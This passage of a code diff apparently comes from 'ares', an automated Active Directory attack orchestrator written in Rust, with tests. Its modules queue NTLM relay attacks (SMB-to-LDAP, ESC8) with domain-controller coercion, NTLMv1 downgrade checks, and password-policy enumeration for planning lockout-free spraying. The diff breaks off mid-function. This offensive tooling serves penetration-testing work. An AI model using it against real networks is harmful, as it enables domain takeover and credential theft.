{ + continue; + } + + let target_ip = vuln + .details + .get("target_ip") + .or_else(|| vuln.details.get("ip")) + .and_then(|v| v.as_str()) + .unwrap_or(&vuln.target); + + if target_ip.is_empty() { + continue; + } + + let relay_key = format!("smb_relay:{target_ip}"); + if state.is_processed(DEDUP_SET, &relay_key) { + continue; + } + + let coercion_source = find_coercion_source(&state.domain_controllers, |ip| { + state.is_processed(DEDUP_COERCED_DCS, ip) + }); + + let cred = match state.credentials.first() { + Some(c) => c.clone(), + None => continue, + }; + + items.push(RelayWork { + dedup_key: relay_key, + relay_type: RelayType::SmbToLdap, + relay_target: target_ip.to_string(), + coercion_source, + listener: listener.to_string(), + credential: cred, + }); + } + + // Path 2: Relay to ADCS web enrollment (ESC8) + for vuln in state.discovered_vulnerabilities.values() { + let vtype = vuln.vuln_type.to_lowercase(); + if vtype != "esc8" && vtype != "adcs_web_enrollment" { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + + let ca_host = vuln + .details + .get("ca_host") + .or_else(|| vuln.details.get("target_ip")) + .and_then(|v| v.as_str()) + .unwrap_or(&vuln.target); + + if ca_host.is_empty() { + continue; + } + + let relay_key = format!("esc8_relay:{ca_host}"); + if state.is_processed(DEDUP_SET, &relay_key) { + continue; + } + + let coercion_source = find_coercion_source(&state.domain_controllers, |ip| { + state.is_processed(DEDUP_COERCED_DCS, ip) + }); + + let cred = match state.credentials.first() { + Some(c) => c.clone(), + None => continue, + }; + + let ca_name = vuln + .details + .get("ca_name") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + items.push(RelayWork { + dedup_key: relay_key, + relay_type: RelayType::Esc8 { ca_name, domain }, + relay_target: ca_host.to_string(), + coercion_source, + listener: listener.to_string(), + credential: cred, + }); + } + + items +} + +/// Find the best coercion source (a DC IP we can PetitPotam/PrinterBug). +/// +/// Takes the domain_controllers map and a closure to check dedup state, +/// keeping us decoupled from `StateInner`'s module visibility. +fn find_coercion_source( + domain_controllers: &std::collections::HashMap, + is_processed: impl Fn(&str) -> bool, +) -> Option { + // Prefer a DC we haven't already coerced + domain_controllers + .values() + .find(|ip| !is_processed(ip)) + .or_else(|| domain_controllers.values().next()) + .cloned() +} + +struct RelayWork { + dedup_key: String, + relay_type: RelayType, + relay_target: String, + coercion_source: Option, + listener: String, + credential: ares_core::models::Credential, +} + +enum RelayType { + SmbToLdap, + Esc8 { ca_name: String, domain: String }, +} + +impl std::fmt::Display for RelayType { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::SmbToLdap => write!(f, "smb_to_ldap"), + Self::Esc8 { .. } => write!(f, "esc8_adcs"), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::collections::HashMap; + + #[test] + fn relay_type_display() { + assert_eq!(RelayType::SmbToLdap.to_string(), "smb_to_ldap"); + assert_eq!( + RelayType::Esc8 { + ca_name: "CA".into(), + domain: "contoso.local".into() + } + .to_string(), + "esc8_adcs" + ); + } + + #[test] + fn dedup_key_format_smb() { + let key = format!("smb_relay:{}", "192.168.58.22"); + assert_eq!(key, "smb_relay:192.168.58.22"); + } + + #[test] + fn dedup_key_format_esc8() { + let key = format!("esc8_relay:{}", "192.168.58.10"); + assert_eq!(key, "esc8_relay:192.168.58.10"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_SET, "ntlm_relay"); + } + + #[test] + fn find_coercion_source_prefers_unprocessed() { + let mut dcs = HashMap::new(); + dcs.insert("contoso.local".into(), "192.168.58.10".into()); + dcs.insert("fabrikam.local".into(), "192.168.58.20".into()); + + // First DC already processed, second not + let result = find_coercion_source(&dcs, |ip| ip == "192.168.58.10"); + assert!(result.is_some()); + assert_eq!(result.unwrap(), "192.168.58.20"); + } + + #[test] + fn find_coercion_source_falls_back_to_any() { + let mut dcs = HashMap::new(); + dcs.insert("contoso.local".into(), "192.168.58.10".into()); + + // All processed, still returns one + let result = find_coercion_source(&dcs, |_| true); + assert!(result.is_some()); + assert_eq!(result.unwrap(), "192.168.58.10"); + } + + #[test] + fn find_coercion_source_empty_map() { + let dcs = HashMap::new(); + let result = find_coercion_source(&dcs, |_| false); + assert!(result.is_none()); + } + + #[test] + fn esc8_vuln_type_matching() { + let types = ["esc8", "adcs_web_enrollment", "ESC8", "ADCS_WEB_ENROLLMENT"]; + for t in &types { + let vtype = t.to_lowercase(); + assert!( + vtype == "esc8" || vtype == "adcs_web_enrollment", + "{t} should match" + ); + } + } + + #[test] + fn smb_signing_vuln_type_matching() { + let vtype = "smb_signing_disabled".to_lowercase(); + assert_eq!(vtype, "smb_signing_disabled"); + + let not_smb = "mssql_access".to_lowercase(); + assert_ne!(not_smb, "smb_signing_disabled"); + } + + #[test] + fn relay_work_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = RelayWork { + dedup_key: "smb_relay:192.168.58.22".into(), + relay_type: RelayType::SmbToLdap, + relay_target: "192.168.58.22".into(), + coercion_source: Some("192.168.58.10".into()), + listener: "192.168.58.100".into(), + credential: cred.clone(), + }; + assert_eq!(work.relay_target, "192.168.58.22"); + assert_eq!(work.listener, "192.168.58.100"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn smb_to_ldap_payload_structure() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "ntlm_relay_ldap", + "relay_target": "192.168.58.22", + "listener_ip": "192.168.58.100", + "coercion_source": "192.168.58.10", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "ntlm_relay_ldap"); + assert_eq!(payload["relay_target"], "192.168.58.22"); + assert_eq!(payload["listener_ip"], "192.168.58.100"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn esc8_payload_structure() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let relay_type = RelayType::Esc8 { + ca_name: "contoso-CA".into(), + domain: "contoso.local".into(), + }; + let payload = json!({ + "technique": "ntlm_relay_adcs", + "relay_target": "192.168.58.10", + "listener_ip": "192.168.58.100", + "ca_name": "contoso-CA", + "domain": "contoso.local", + "coercion_source": "192.168.58.20", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "ntlm_relay_adcs"); + assert_eq!(payload["ca_name"], "contoso-CA"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(relay_type.to_string(), "esc8_adcs"); + } + + #[test] + fn target_ip_extraction_from_vuln_details() { + let details = serde_json::json!({"target_ip": "192.168.58.22", "ip": "192.168.58.23"}); + let fallback = "192.168.58.99"; + let target = details + .get("target_ip") + .or_else(|| details.get("ip")) + .and_then(|v| v.as_str()) + .unwrap_or(fallback); + assert_eq!(target, "192.168.58.22"); + } + + #[test] + fn target_ip_fallback_to_ip_field() { + let details = serde_json::json!({"ip": "192.168.58.23"}); + let fallback = "192.168.58.99"; + let target = details + .get("target_ip") + .or_else(|| details.get("ip")) + .and_then(|v| v.as_str()) + .unwrap_or(fallback); + assert_eq!(target, "192.168.58.23"); + } + + #[test] + fn target_ip_fallback_to_vuln_target() { + let details = serde_json::json!({}); + let fallback = "192.168.58.99"; + let target = details + .get("target_ip") + .or_else(|| details.get("ip")) + .and_then(|v| v.as_str()) + .unwrap_or(fallback); + assert_eq!(target, "192.168.58.99"); + } + + #[test] + fn ca_host_extraction_fallback() { + let details = serde_json::json!({"ca_host": "192.168.58.10"}); + let fallback = "192.168.58.99"; + let ca_host = details + .get("ca_host") + .or_else(|| details.get("target_ip")) + .and_then(|v| v.as_str()) + .unwrap_or(fallback); + assert_eq!(ca_host, "192.168.58.10"); + + let details2 = serde_json::json!({"target_ip": "192.168.58.20"}); + let ca_host2 = details2 + .get("ca_host") + .or_else(|| details2.get("target_ip")) + .and_then(|v| v.as_str()) + .unwrap_or(fallback); + assert_eq!(ca_host2, "192.168.58.20"); + } + + #[test] + fn ca_name_extraction() { + let details = serde_json::json!({"ca_name": "contoso-CA"}); + let ca_name = details + .get("ca_name") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + assert_eq!(ca_name, "contoso-CA"); + + let details2 = serde_json::json!({}); + let ca_name2 = details2 + .get("ca_name") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + assert_eq!(ca_name2, ""); + } + + #[test] + fn find_coercion_source_all_unprocessed() { + let mut dcs = HashMap::new(); + dcs.insert("contoso.local".into(), "192.168.58.10".into()); + dcs.insert("fabrikam.local".into(), "192.168.58.20".into()); + + let result = find_coercion_source(&dcs, |_| false); + assert!(result.is_some()); + } + + #[test] + fn relay_type_display_exhaustive() { + let smb = RelayType::SmbToLdap; + assert_eq!(format!("{smb}"), "smb_to_ldap"); + + let esc8 = RelayType::Esc8 { + ca_name: String::new(), + domain: String::new(), + }; + assert_eq!(format!("{esc8}"), "esc8_adcs"); + } + + // --- collect_relay_work integration tests --- + + use crate::orchestrator::state::SharedState; + + fn make_cred() -> ares_core::models::Credential { + ares_core::models::Credential { + id: "c1".into(), + username: "svcadmin".into(), + password: "S3cure!Pass".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "kerberoast".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_smb_vuln(id: &str, target_ip: &str) -> ares_core::models::VulnerabilityInfo { + let mut details = HashMap::new(); + details.insert( + "target_ip".to_string(), + serde_json::Value::String(target_ip.to_string()), + ); + ares_core::models::VulnerabilityInfo { + vuln_id: id.to_string(), + vuln_type: "smb_signing_disabled".to_string(), + target: target_ip.to_string(), + discovered_by: "scanner".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 5, + } + } + + fn make_esc8_vuln( + id: &str, + ca_host: &str, + ca_name: &str, + domain: &str, + ) -> ares_core::models::VulnerabilityInfo { + let mut details = HashMap::new(); + details.insert( + "ca_host".to_string(), + serde_json::Value::String(ca_host.to_string()), + ); + details.insert( + "ca_name".to_string(), + serde_json::Value::String(ca_name.to_string()), + ); + details.insert( + "domain".to_string(), + serde_json::Value::String(domain.to_string()), + ); + ares_core::models::VulnerabilityInfo { + vuln_id: id.to_string(), + vuln_type: "esc8".to_string(), + target: ca_host.to_string(), + discovered_by: "scanner".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 8, + } + } + + #[tokio::test] + async fn collect_relay_work_empty_state() { + let shared = SharedState::new("test".into()); + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert!(work.is_empty(), "empty state should produce no work"); + } + + #[tokio::test] + async fn collect_relay_work_no_credentials() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.discovered_vulnerabilities + .insert("v1".into(), make_smb_vuln("v1", "192.168.58.22")); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert!(work.is_empty(), "no credentials should produce no work"); + } + + #[tokio::test] + async fn collect_relay_work_smb_signing_disabled() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities + .insert("v1".into(), make_smb_vuln("v1", "192.168.58.22")); + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "smb_relay:192.168.58.22"); + assert_eq!(work[0].relay_target, "192.168.58.22"); + assert_eq!(work[0].listener, "192.168.58.100"); + assert!(matches!(work[0].relay_type, RelayType::SmbToLdap)); + assert_eq!(work[0].coercion_source, Some("192.168.58.10".into())); + assert_eq!(work[0].credential.username, "svcadmin"); + } + + #[tokio::test] + async fn collect_relay_work_esc8_vuln() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities.insert( + "v2".into(), + make_esc8_vuln("v2", "192.168.58.30", "contoso-CA", "contoso.local"), + ); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "esc8_relay:192.168.58.30"); + assert_eq!(work[0].relay_target, "192.168.58.30"); + match &work[0].relay_type { + RelayType::Esc8 { ca_name, domain } => { + assert_eq!(ca_name, "contoso-CA"); + assert_eq!(domain, "contoso.local"); + } + _ => panic!("expected Esc8 relay type"), + } + // No DCs configured → coercion_source is None + assert!(work[0].coercion_source.is_none()); + } + + #[tokio::test] + async fn collect_relay_work_skips_already_processed_dedup() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities + .insert("v1".into(), make_smb_vuln("v1", "192.168.58.22")); + // Mark the relay key as already processed + s.mark_processed(DEDUP_SET, "smb_relay:192.168.58.22".into()); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert!( + work.is_empty(), + "already-processed dedup key should be skipped" + ); + } + + #[tokio::test] + async fn collect_relay_work_skips_exploited_vulns() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities + .insert("v1".into(), make_smb_vuln("v1", "192.168.58.22")); + s.exploited_vulnerabilities.insert("v1".into()); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert!(work.is_empty(), "exploited vulns should be skipped"); + } + + #[tokio::test] + async fn collect_relay_work_multiple_vulns() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities + .insert("v1".into(), make_smb_vuln("v1", "192.168.58.22")); + s.discovered_vulnerabilities + .insert("v2".into(), make_smb_vuln("v2", "192.168.58.23")); + s.discovered_vulnerabilities.insert( + "v3".into(), + make_esc8_vuln("v3", "192.168.58.30", "contoso-CA", "contoso.local"), + ); + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 3, "should produce work for all 3 vulns"); + + let smb_count = work + .iter() + .filter(|w| matches!(w.relay_type, RelayType::SmbToLdap)) + .count(); + let esc8_count = work + .iter() + .filter(|w| matches!(w.relay_type, RelayType::Esc8 { .. })) + .count(); + assert_eq!(smb_count, 2); + assert_eq!(esc8_count, 1); + } + + #[tokio::test] + async fn collect_relay_work_ignores_unrelated_vuln_types() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + // Add an unrelated vuln type + let mut details = HashMap::new(); + details.insert( + "target_ip".to_string(), + serde_json::Value::String("192.168.58.40".to_string()), + ); + s.discovered_vulnerabilities.insert( + "v_unrelated".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "v_unrelated".into(), + vuln_type: "mssql_impersonation".into(), + target: "192.168.58.40".into(), + discovered_by: "scanner".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 3, + }, + ); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert!( + work.is_empty(), + "unrelated vuln types should not produce work" + ); + } + + #[tokio::test] + async fn collect_relay_work_esc8_already_processed() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities.insert( + "v2".into(), + make_esc8_vuln("v2", "192.168.58.30", "contoso-CA", "contoso.local"), + ); + s.mark_processed(DEDUP_SET, "esc8_relay:192.168.58.30".into()); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert!(work.is_empty(), "already-processed esc8 should be skipped"); + } + + #[tokio::test] + async fn collect_relay_work_mixed_exploited_and_fresh() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities + .insert("v1".into(), make_smb_vuln("v1", "192.168.58.22")); + s.discovered_vulnerabilities + .insert("v2".into(), make_smb_vuln("v2", "192.168.58.23")); + // Only v1 is exploited + s.exploited_vulnerabilities.insert("v1".into()); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].relay_target, "192.168.58.23"); + } + + #[tokio::test] + async fn collect_relay_work_coercion_source_prefers_uncoerced_dc() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.credentials.push(make_cred()); + s.discovered_vulnerabilities + .insert("v1".into(), make_smb_vuln("v1", "192.168.58.22")); + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + // Mark first DC as already coerced + s.mark_processed(DEDUP_COERCED_DCS, "192.168.58.10".into()); + } + let state = shared.read().await; + let work = collect_relay_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!( + work[0].coercion_source, + Some("192.168.58.20".into()), + "should prefer the uncoerced DC" + ); + } +} diff --git a/ares-cli/src/orchestrator/automation/ntlmv1_downgrade.rs b/ares-cli/src/orchestrator/automation/ntlmv1_downgrade.rs new file mode 100644 index 00000000..a89c9a77 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/ntlmv1_downgrade.rs @@ -0,0 +1,382 @@ +//! auto_ntlmv1_downgrade -- detect DCs allowing NTLMv1 authentication. +//! +//! When a DC accepts NTLMv1 (LmCompatibilityLevel < 3), attackers can +//! downgrade auth to capture NTLMv1 hashes via Responder/MITM, which are +//! trivially crackable. This module dispatches a check per DC. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect NTLMv1 downgrade work items from state (pure logic, no async). +fn collect_ntlmv1_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("ntlmv1:{}", dc_ip); + if state.is_processed(DEDUP_NTLMV1_DOWNGRADE, &dedup_key) { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .or_else(|| state.credentials.first()) + { + Some(c) => c.clone(), + None => continue, + }; + + items.push(NtlmV1Work { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Checks each DC for NTLMv1 downgrade vulnerability. +/// Interval: 45s. +pub async fn auto_ntlmv1_downgrade( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("ntlmv1_downgrade") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_ntlmv1_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "ntlmv1_downgrade_check", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("ntlmv1_downgrade"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "NTLMv1 downgrade check dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_NTLMV1_DOWNGRADE, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_NTLMV1_DOWNGRADE, &item.dedup_key) + .await; + + // Register ntlmv1_downgrade vulnerability proactively so it + // appears in reports without waiting for the agent's + // report_finding callback (which only logs). + let vuln = ares_core::models::VulnerabilityInfo { + vuln_id: format!("ntlmv1_{}", item.dc_ip.replace('.', "_")), + vuln_type: "ntlmv1_downgrade".to_string(), + target: item.dc_ip.clone(), + discovered_by: "auto_ntlmv1_downgrade".to_string(), + discovered_at: chrono::Utc::now(), + details: { + let mut d = std::collections::HashMap::new(); + d.insert("target_ip".to_string(), json!(item.dc_ip)); + d.insert("domain".to_string(), json!(item.domain)); + d.insert( + "description".to_string(), + json!("DC allows NTLMv1 authentication (LmCompatibilityLevel < 3). NTLMv1 hashes are trivially crackable."), + ); + d + }, + recommended_agent: "credential_access".to_string(), + priority: dispatcher.effective_priority("ntlmv1_downgrade"), + }; + + match dispatcher + .state + .publish_vulnerability_with_strategy( + &dispatcher.queue, + vuln, + Some(&dispatcher.config.strategy), + ) + .await + { + Ok(true) => { + info!( + domain = %item.domain, + dc = %item.dc_ip, + "NTLMv1 downgrade — vulnerability registered" + ); + } + Ok(false) => {} + Err(e) => { + warn!(err = %e, dc = %item.dc_ip, "Failed to publish NTLMv1 downgrade vulnerability"); + } + } + } + Ok(None) => { + debug!(domain = %item.domain, "NTLMv1 downgrade check deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch NTLMv1 downgrade check"); + } + } + } + } +} + +struct NtlmV1Work { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("ntlmv1:{}", "192.168.58.10"); + assert_eq!(key, "ntlmv1:192.168.58.10"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_NTLMV1_DOWNGRADE, "ntlmv1_downgrade"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "ntlmv1_downgrade_check", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "ntlmv1_downgrade_check"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = NtlmV1Work { + dedup_key: "ntlmv1:192.168.58.10".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn dedup_key_uses_dc_ip() { + // NTLMv1 dedup is by DC IP, not domain + let key = format!("ntlmv1:{}", "192.168.58.10"); + assert!(key.starts_with("ntlmv1:")); + assert!(key.contains("192.168.58.10")); + } + + // --- collect_ntlmv1_work tests --- + + use crate::orchestrator::state::StateInner; + + fn make_cred(username: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: uuid::Uuid::new_v4().to_string(), + username: username.to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_produces_no_work() { + let state = StateInner::new("test".into()); + let work = collect_ntlmv1_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_produces_no_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_ntlmv1_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dc_with_matching_cred_produces_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_ntlmv1_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "ntlmv1:192.168.58.10"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_skips_already_processed_dedup() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state.mark_processed(DEDUP_NTLMV1_DOWNGRADE, "ntlmv1:192.168.58.10".into()); + let work = collect_ntlmv1_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_falls_back_to_first_credential() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_cred("fabuser", "fabrikam.local")); + let work = collect_ntlmv1_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fabuser"); + } + + #[test] + fn collect_multiple_dcs_produces_multiple_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state + .credentials + .push(make_cred("fabadmin", "fabrikam.local")); + let work = collect_ntlmv1_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_dedup_key_uses_ip_not_domain() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_ntlmv1_work(&state); + assert_eq!(work.len(), 1); + assert!(work[0].dedup_key.starts_with("ntlmv1:")); + assert!(work[0].dedup_key.contains("192.168.58.10")); + assert!(!work[0].dedup_key.contains("contoso")); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_cred("fabuser", "fabrikam.local")); + state + .credentials + .push(make_cred("conuser", "contoso.local")); + let work = collect_ntlmv1_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "conuser"); + } + + #[test] + fn dedup_keys_differ_per_dc() { + let key1 = format!("ntlmv1:{}", "192.168.58.10"); + let key2 = format!("ntlmv1:{}", "192.168.58.20"); + assert_ne!(key1, key2); + } +} diff --git a/ares-cli/src/orchestrator/automation/password_policy.rs b/ares-cli/src/orchestrator/automation/password_policy.rs new file mode 100644 index 00000000..9ae27ca8 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/password_policy.rs @@ -0,0 +1,380 @@ +//! auto_password_policy -- enumerate password policy per domain. +//! +//! Password policies reveal lockout thresholds, complexity requirements, and +//! minimum lengths. This information is critical for planning password spray +//! attacks without triggering lockouts. +//! +//! Dispatches `password_policy` recon tasks per discovered domain+DC pair. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +fn collect_password_policy_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("policy:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_PASSWORD_POLICY, &dedup_key) { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .or_else(|| state.credentials.first()) + { + Some(c) => c.clone(), + None => continue, + }; + + items.push(PasswordPolicyWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Enumerates password policy on each domain controller. +/// Interval: 30s. +pub async fn auto_password_policy( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("password_policy") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_password_policy_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "password_policy", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("password_policy"); + match dispatcher + .throttled_submit("recon", "credential_access", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "Password policy enumeration dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_PASSWORD_POLICY, item.dedup_key.clone()); + 